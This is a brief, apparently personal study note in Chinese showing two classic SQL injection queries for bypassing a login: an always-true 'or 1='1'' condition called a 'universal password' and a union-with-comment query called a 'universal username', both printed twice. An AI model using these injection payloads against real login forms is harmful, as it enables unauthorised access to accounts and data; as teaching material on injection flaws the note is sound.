1: select *from user where username='admin' and password='123456' or 1='1'; 万能密码
2: select *from user where username='admin' union select *from user ;/* and password='123456'; 万能用户名
1: select *from user where username='admin' and password='123456' or 1='1'; 万能密码
2: select *from user where username='admin' union select *from user ;/* and password='123456'; 万能用户名